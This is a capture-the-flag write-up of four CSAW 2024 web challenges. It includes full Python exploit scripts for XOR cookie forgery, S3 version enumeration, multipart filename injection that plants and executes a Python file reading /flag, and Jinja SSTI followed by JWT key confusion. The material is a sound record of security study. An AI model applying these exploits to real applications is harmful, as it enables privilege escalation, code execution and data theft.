Intro Link to heading
I played CSAW CTF 2024 Quals with team Jejupork, and solved all web challs. Here’s the writeup for log me in, bucketwars, charlies angels and lost pyramid.
log me in (web) Link to heading
Log me in was a simple flask application challenge with user registeration and login feature in it. The app will give flag if user’s uid is 0(admin), but new user will always be registered as uid 1(user).
After authentication, the app makes auth token using custom encoding/decoding method. The encoding / decoding code is here.
# Some cryptographic utilities
def encode(status: dict) -> str:
try:
plaintext = json.dumps(status).encode()
out = b''
for i,j in zip(plaintext, os.environ['ENCRYPT_KEY'].encode()):
out += bytes([i^j])
return bytes.hex(out)
except Exception as s:
LOG(s)
return None
def decode(inp: str) -> dict:
try:
token = bytes.fromhex(inp)
out = ''
for i,j in zip(token, os.environ['ENCRYPT_KEY'].encode()):
out += chr(i ^ j)
user = json.loads(out)
return user
except Exception as s:
LOG(s)
return None
We can easily find out that os.environ['ENCRYPT_KEY']
can be leaked by xoring authentication token with json serialized user object. Thus, we can make arbitrary user object and elevate our uid to admin.
- Code
import requests
import json
# URL = 'http://localhost:9996'
URL = 'https://logmein1.ctf.csaw.io'
def encode_json(username, displayname, uid):
data = {
'username': username,
'displays': displayname,
'uid': uid
}
return json.dumps(dict(data)).encode()
r = requests.post(URL + '/register', data={
'username': 'somelongusername',
'password': 'somelongpassword',
'displayname': 'somelongdisplayname'
})
r = requests.post(URL + '/login', data={
'username': 'somelongusername',
'password': 'somelongpassword'
})
session = r.cookies['info']
session = bytes.fromhex(session)
message = encode_json('somelongusername', 'somelongdisplayname', 1)
key = b''
for i in range(len(message)):
key += bytes([session[i] ^ message[i]])
message_to_change = encode_json('somelongusername', 'somelongdisplayname', 0)
new_session = b''
for i in range(len(message_to_change)):
new_session += bytes([key[i] ^ message_to_change[i]])
r = requests.get(URL + '/user', cookies={'info': new_session.hex()})
print(r.text)
bucketwars (web) Link to heading
The callenge gave me only one link which lead to a static site. After some investigation, I found out that this site was served from AWS S3 bucket, and it seems that I should abuse malconfigured bucket policy to get more information. On the site there was a hint about bucket object versions, so I used list_object_versions
api to crawl every version of objects.
import boto3
import jq
import json
import os.path
s3 = boto3.client('s3')
bucket_name = 'bucketwars.ctf.csaw.io'
response = s3.list_object_versions(Bucket=bucket_name)
response = json.loads(json.dumps(response, default=str))
files = jq.compile('.Versions[]|{Key: .Key,VersionId: .VersionId}').input(response).all()
for file in files:
print(file)
response = s3.get_object(Bucket=bucket_name, Key=file['Key'], VersionId=file['VersionId'])
filename, fileext = os.path.splitext(file['Key'])
with open('files/' + filename + '_' + file['VersionId'] + fileext, 'wb') as f:
f.write(response['Body'].read())
Two suspicious versions of index_v1.html
was found, one containing password, and other containing another bucket link with image.
The image was a steganography image, and I used steghide with the password to extract flag from the image.
steghide extract -p versions_leaks_buckets_oh_my -sf ./sand-pit-1345726_640.jpg
charlies angels (web) Link to heading
The challenge contains 2 service, one is a simple node js webapp that accepts/saves some data (angel?) from user and restores when needed. The other is an internal python backup server that saves and loads backup file for front webapp. The python server executes python code when loading .py
backup file, else returns json file. Nodejs webapp uses internal python backup server as file storage, and communicates with needle
module.
Nodejs webapp
app.post("/angel", (req, res) => {
// some input processing ...
req.session.angel = {
name: req.body.angel.name,
actress: req.body.angel.actress,
movie: req.body.angel.movie,
talents: req.body.angel.talents,
};
const data = {
id: req.sessionID,
angel: req.session.angel,
};
console.log(data);
const boundary =
Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
needle.post(
BACKUP + "/backup",
data,
{ multipart: true, boundary: boundary },
(error, response) => {
if (error) {
console.log(error);
return res
.status(500)
.sendFile("public/html/error.html", { root: __dirname });
}
}
);
return res.status(200).send(req.sessionID);
});
Python internal backup server
@app.route('/backup', methods=["POST"])
def backup():
if request.files:
for x in request.files:
file = request.files.get(x)
for f in BANNED:
if file.filename in f or ".." in file.filename:
return "ERROR"
try:
name = file.filename
if "backups/" not in name:
name = "backups/" + name
f = open(name, "a")
f.write(file.read().decode())
f.close()
except:
return "ERROR"
else:
backupid = "backups/" + request.json["id"] + ".json"
angel = request.json["angel"]
f = open(backupid, "a")
f.write(angel)
f.close()
return "SUCCESS"
@app.route('/restore', methods=["GET"])
def restore():
filename = os.path.join("backups/", request.args.get('id'))
print(filename, flush=True, file=sys.stderr)
restore = "ERROR"
if os.path.isfile(filename + '.py'):
try:
py = filename + '.py'
test = subprocess.check_output(['python3', py])
if "csawctf" in str(test):
return "ERROR"
restore = str(test)
# ...
return restore
To save python file in internal python server, we need to send multipart file using needle. However, the data
object only has id
and angel
field with fixed type, so needle just process the object as normal form data.
For example, the data
{
"a": {
"b": 1
}
}
Will be processed like this.
--boundary
Content-Disposition: form-data; name="a[b]"
1
--boundary--
To resolve this, we can inject "
to escape double-quote (just like SQLi) and make filename field on content-disposition, making the part recognized as file.1
import requests
import base64
# URL = 'http://localhost:1337'
URL = 'https://charliesangels.ctf.csaw.io'
r = requests.get(URL + '/angel')
sessionId = r.json()['id']
connect_sid = r.cookies['connect.sid']
print(f'sessionId: {sessionId}')
print(f'connect_sid: {connect_sid}')
r = requests.post(URL + '/angel', json={
"angel": {
"name": "test",
"actress" : "test",
"movie": "test",
"talents": {
"\"; filename=\"" + sessionId + ".py\"; test=\"": "import base64; print(base64.b64encode(open(\"/flag\", \"rb\").read()).decode())",
}
}
}, cookies={
"connect.sid": connect_sid
})
print(r.text)
r = requests.get(URL + '/angel', cookies={
"connect.sid": connect_sid
})
r = requests.get(URL + '/restore', cookies={
"connect.sid": connect_sid,
})
print(r.text)
flag = base64.b64decode(r.text.lstrip('b\'').rstrip('\\n\''))
print(flag)
lost pyramid (web) Link to heading
The challenge contains stereotype jinja SSTI vulnerability on render_template_string
function and JWT key confusion vulnerabilty (PyJWT==2.3.0)2. Leak KINGSDAY
and PUBLICKEY
using SSTI vulnerability and use JWT key confusion vulnerability to generate arbitrary token and get flag.
import requests
import jwt
import re
# URL = 'http://localhost:8050'
URL = 'https://lost-pyramid.ctf.csaw.io'
with requests.Session() as s:
r = s.post(URL + '/scarab_room', data={
'name': '{{KINGSDAY}}'
})
KINGSDAY = re.findall(r'Welcome to the Scarab Room, (.*) 𓁹𓁹𓁹</h1>', r.text)[0]
print(KINGSDAY)
r = s.post(URL + '/scarab_room', data={
'name': '{{PUBLICKEY}}'
})
PUBLICKEY = re.findall(r'Welcome to the Scarab Room, b'(.*)' 𓁹𓁹𓁹</h1>', r.text)[0]
print(PUBLICKEY)
token = jwt.encode({
"ROLE": "royalty",
"CURRENT_DATE": KINGSDAY,
"exp": 1924992000
}, PUBLICKEY, algorithm="HS256")
s.cookies.set('pyramid', token)
r = s.get(URL + '/kings_lair')
print(r.text)